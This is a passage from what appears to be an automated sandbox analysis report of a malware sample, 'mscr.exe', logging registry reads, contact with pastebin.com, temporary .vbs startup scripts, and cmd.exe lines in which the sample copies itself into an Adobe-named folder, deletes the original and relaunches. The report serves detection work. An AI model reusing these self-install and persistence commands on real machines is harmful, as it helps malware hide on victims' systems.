\"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8\"; Key: \"BLOB\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\8AD5C9987E6F190BD6F5416E2DE44CCD641D8CDA\"; Key: \"BLOB\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135\"; Key: \"BLOB\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\109F1CAED645BB78B3EA2B94C0697C740733031C\"; Key: \"BLOB\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\D559A586669B08F46A30A133F8A9ED3D038E2EA8\"; Key: \"BLOB\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\"; Key: \"BLOB\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\A377D1B1C0538833035211F4083D00FECC414DAB\"; Key: \"BLOB\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\"; Key: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")"}],"origin":"Registry Access","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"network-0","type":7,"relevance":1,"name":"Contacts domains","description":"\"pastebin.com\"","description_v2":["\"pastebin.com\""],"description_v3":[{"type":"text","value":"\"pastebin.com\""}],"origin":"Network Traffic","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"network-1","type":7,"relevance":1,"name":"Contacts server","description":"\"104.20.209.21:443\"","description_v2":["\"104.20.209.21:443\""],"description_v3":[{"type":"text","value":"\"104.20.209.21:443\""}],"origin":"Network Traffic","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-7","type":2,"relevance":1,"name":"Contains PDB pathways","description":"\"%USERPROFILE%\\documents\\visual studio 2017\\Projects\\Bitcoin\\Bitcoin\\obj\\Release\\Bitcoin.pdb\"","description_v2":["\"%USERPROFILE%\\documents\\visual studio 2017\\Projects\\Bitcoin\\Bitcoin\\obj\\Release\\Bitcoin.pdb\""],"description_v3":[{"type":"text","value":"\"%USERPROFILE%\\documents\\visual studio 2017\\Projects\\Bitcoin\\Bitcoin\\obj\\Release\\Bitcoin.pdb\""}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-4","type":6,"relevance":1,"name":"Creates a writable file in a temporary directory","description":"$86","description_v2":["\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\3MRYK.jpg\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup2788310.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup3197659.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup7597624.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup9321933.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup3330015.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup196366.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup2879488.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup8192529.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup7944398.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup1295000.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup3019309.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup7419274.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup7171143.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup1581107.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup1990457.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup2144209.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup6544173.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup5382966.vbs\"","\"mscr.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\startup276877.vbs\""],"description_v3":[{"type":"text","value":"\"mscr.exe\" created file \"%TEMP%\\3MRYK.jpg\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup2788310.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup3197659.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup7597624.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup9321933.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup3330015.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup196366.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup2879488.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup8192529.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup7944398.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup1295000.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup3019309.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup7419274.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup7171143.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup1581107.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup1990457.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup2144209.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup6544173.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup5382966.vbs\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" created file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\startup276877.vbs\""}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"mutant-0","type":4,"relevance":3,"name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Global\\.net clr networking\"\n \"RasPbFile\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking\"","description_v2":["\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"","\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"","\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"","\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"","\"Local\\ZonesLockedCacheCounterMutex\"","\"Local\\ZoneAttributeCacheCounterMutex\"","\"Global\\.net clr networking\"","\"RasPbFile\"","\"Local\\ZonesCacheCounterMutex\"","\"Local\\ZonesCounterMutex\"","\"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"","\"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking\""],"description_v3":[{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\ZonesLockedCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\ZoneAttributeCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"Global\\.net clr networking\""},{"type":"linebreak"},{"type":"text","value":"\"RasPbFile\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\ZonesCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\ZonesCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking\""}],"origin":"Created Mutant","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-67","type":6,"relevance":10,"name":"Intercepted relevant COM error","description":"\"wscript.exe\" called \"WScript.CreateObject\"\n which returned the status code \"80020009\" (The system cannot locate the resource specified) ...","description_v2":["\"wscript.exe\" called \"WScript.CreateObject\"","which returned the status code \"80020009\" (The system cannot locate the resource specified) ..."],"description_v3":[{"type":"text","value":"\"wscript.exe\" called \"WScript.CreateObject\""},{"type":"linebreak"},{"type":"text","value":"which returned the status code \"80020009\" (The system cannot locate the resource specified) ..."}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"module-3","type":10,"relevance":0,"name":"Loads the .NET runtime environment","description":"\"\" loaded module \"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll\" at 69D60000\n \"mscr.exe\" loaded module \"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll\" at 69D60000","description_v2":["\"\" loaded module \"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll\" at 69D60000","\"mscr.exe\" loaded module \"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll\" at 69D60000"],"description_v3":[{"type":"text","value":"\"\" loaded module \"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll\" at 69D60000"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" loaded module \"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll\" at 69D60000"}],"origin":"Loaded Module","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-64","type":6,"relevance":10,"name":"Logged script engine calls","description":"\"wscript.exe\" called \"WScript.CreateObject\" with result: \"IDispatch\" ...\n \"wscript.exe\" called \"WScript.Shell.1.CreateObject\" ... \n \"wscript.exe\" called \"WScript.Shell.1.Unknown\" ... \n \"wscript.exe\" called \"WScript.CreateObject\" ...","description_v2":["\"wscript.exe\" called \"WScript.CreateObject\" with result: \"IDispatch\" ...","\"wscript.exe\" called \"WScript.Shell.1.CreateObject\" ...","\"wscript.exe\" called \"WScript.Shell.1.Unknown\" ...","\"wscript.exe\" called \"WScript.CreateObject\" ..."],"description_v3":[{"type":"text","value":"\"wscript.exe\" called \"WScript.CreateObject\" with result: \"IDispatch\" ..."},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" called \"WScript.Shell.1.CreateObject\" ..."},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" called \"WScript.Shell.1.Unknown\" ..."},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" called \"WScript.CreateObject\" ..."}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"registry-20","type":3,"relevance":5,"name":"Reads Windows Trust Settings","description":"\"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","description_v2":["\"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")"],"description_v3":[{"type":"text","value":"\"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")"}],"origin":"Registry Access","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-3","type":9,"relevance":5,"name":"Runs shell commands","description":"$87","description_v2":["$88","\"/k @echo.&mkdir \"%APPDATA%\\Adobe\\3MRYK\\ \\\"&echo.>>\"%APPDATA%\\Adobe\\3MRYK\\update :)\"&echo.>>\"%APPDATA%\\Adobe\\3MRYK\\ \\update :)\"&taskkill /f /im mscr.exe© \"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe\" \"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe\"&timeout /t 1 /nobreak>nul&del \"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe\"&start \"\" \"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe\"&exit&\" on 2017-10-16.19:10:36.589","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:12:49.668","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:12:54.955","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:12:59.963","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:05.262","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:10.590","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:15.665","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:21.001","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:26.299","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:31.636","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:36.954","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:42.274","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:47.281","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:52.619","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:57.626","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:14:02.956","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:14:07.981","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:14:12.989","\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:14:18.046"],"description_v3":[{"type":"text","value":"$89"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&mkdir \"%APPDATA%\\Adobe\\3MRYK\\ \\\"&echo.>>\"%APPDATA%\\Adobe\\3MRYK\\update :)\"&echo.>>\"%APPDATA%\\Adobe\\3MRYK\\ \\update :)\"&taskkill /f /im mscr.exe© \"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe\" \"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe\"&timeout /t 1 /nobreak>nul&del \"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe\"&start \"\" \"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe\"&exit&\" on 2017-10-16.19:10:36.589"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:12:49.668"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:12:54.955"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:12:59.963"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:05.262"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:10.590"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:15.665"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:21.001"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:26.299"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:31.636"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:36.954"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:42.274"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:47.281"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:52.619"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:13:57.626"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:14:02.956"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:14:07.981"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:14:12.989"},{"type":"linebreak"},{"type":"text","value":"\"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" on 2017-10-16.19:14:18.046"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-25","type":9,"relevance":3,"name":"Spawns new processes","description":"$8a","description_v2":["$8b","Spawned process \"cmd.exe\" with commandline \"/k @echo.&mkdir \"%APPDATA%\\Adobe\\3MRYK\\ \\\"&echo.>>\"%APPDATA%\\Adobe\\3MRYK\\update :)\"&echo.>>\"%APPDATA%\\Adobe\\3MRYK\\ \\update :)\"&taskkill /f /im mscr.exe© \"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe\" \"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe\"&timeout /t 1 /nobreak>nul&del \"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe\"&start \"\" \"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe\"&exit&\" (UID: 00015176-00003640)","Spawned process \"taskkill.exe\" with commandline \"taskkill /f /im mscr.exe\" (UID: 00015185-00003672)","Spawned process \"timeout.exe\" with commandline \"timeout /t 1 /nobreak\" (UID: 00015197-00003656)","Spawned process \"mscr.exe\" (UID: 00015331-00003724)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00016479-00002956)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2788310.vbs\"\" (UID: 00016531-00002904)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00017009-00003004)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3197659.vbs\"\" (UID: 00017032-00002832)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00017509-00003192)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7597624.vbs\"\" (UID: 00017529-00003244)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00018039-00003260)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup9321933.vbs\"\" (UID: 00018059-00003292)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00018570-00003416)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3330015.vbs\"\" (UID: 00018600-00003456)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00019077-00003532)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup196366.vbs\"\" (UID: 00019098-00002712)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00019610-00004052)","Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2879488.vbs\"\" (UID: 00019628-00002896)","Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\" (UID: 00020139-00003616)"],"description_v3":[{"type":"text","value":"$8c"},{"type":"process","process_uid":"00015175-00003636","label":"Show 